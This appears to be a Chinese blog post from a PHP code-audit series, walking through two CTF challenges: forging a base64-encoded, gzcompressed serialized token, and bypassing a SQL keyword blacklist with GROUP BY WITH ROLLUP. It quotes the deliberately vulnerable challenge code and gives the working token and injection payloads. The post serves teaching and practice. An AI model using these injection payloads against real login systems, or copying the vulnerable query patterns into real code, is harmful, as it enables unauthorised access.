0
点赞
收藏
分享

微信扫一扫

PHP代码审计分段讲解(2)

03 多重加密

源代码为:

<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}

if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值

$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}

?>

这道题目直接部署的话会有一些配置问题,根据报错修改了配置文件之后,在同目录文件夹下创建了common.php,设置$flag=123456

可以看到获取flag的操作为:

if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}

当$login['user']==='ichunqiu'的时候,就输出flag,继续往上看$login的赋值位置

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

进行了base64解密,gzuncompress字符串压缩和字符串反序列化。

而$requset的赋值在:

$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);

将从GET,POST或者COOKIE中获取到的值合并到request里面

为了满足:

$login['user'] === 'ichunqiu'

我们需要令

$token=array(['user']==='ichunqiu');

然后再对其进行相应的加密,最后的token为:

$token=array(['user']==='ichunqiu');
$token=base64_encode(gzcompress(serialize($token)));
echo $token;

得到payload为:

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

最后本地输出还是有问题,就写写解题思路趴

 

04 SQL注入_WITH ROLLUP绕过

源代码为:

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){

//检测变量是否是数组

$StrValue=implode($StrValue);

//返回由数组元素组合成的字符串

}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){

//匹配成功一次后就会停止匹配

print "水可载舟,亦可赛艇!";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){

//遍历数组

AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);

//设置活动的 MySQL 数据库

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);

//执行一条 MySQL 查询

if (mysql_num_rows($query) == 1) {

//返回结果集中行的数目

$key = mysql_fetch_array($query);

//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false

if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

本地环境的原因,只能直接分析代码了。

首先是登录框POST输入用户名和密码

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

然后对POST的值使用AttackFilter函数进行过滤

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){

//遍历数组

AttackFilter($key,$value,$filter);
}

AttackFilter函数为:

function AttackFilter($StrKey,$StrValue,$ArrReq){  
if (is_array($StrValue)){

//检测变量是否是数组

$StrValue=implode($StrValue);

//返回由数组元素组合成的字符串

}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){

//匹配成功一次后就会停止匹配

print "水可载舟,亦可赛艇!";
exit();
}
}

匹配到了黑名单中的元素时就会退出

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);

这里是链接本地数据库的操作,接着查询输入的uname的相关数据

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);

返回结果集中行的数目为1,才能进入if,也就是说interest表中不止一行,然后将值赋给$key

if (mysql_num_rows($query) == 1) { 

//返回结果集中行的数目

$key = mysql_fetch_array($query);

如果输入的密码和数据库中的密码是相同的就输出flag,否则输出提示信息

if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

这里使用到的绕过技巧是GROUP BY WITH ROLLUP

关于函数的介绍可以看这个:

分组后会多一行进行统计,而多出的一行的pwd会是NULL!而user会是数据库表中已存在的字段。

因为存在限制

mysql_num_rows($query) == 1

所以我们使用

limit m offset n
m: 展示m条
n: 跳过n条

来筛选出每一条数据,直到筛选出为user存在,pwd为空的那一行

最终的payload为:

1' or 1 group by pwd with rollup limit 1 offset 2#

而密码栏不需要输入,不输入则为NULL,在该位置:

if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";

即可满足条件输出flag

 

参考链接:

​​http://www.bubuko.com/infodetail-2169730.html​​


 



举报

相关推荐

0 条评论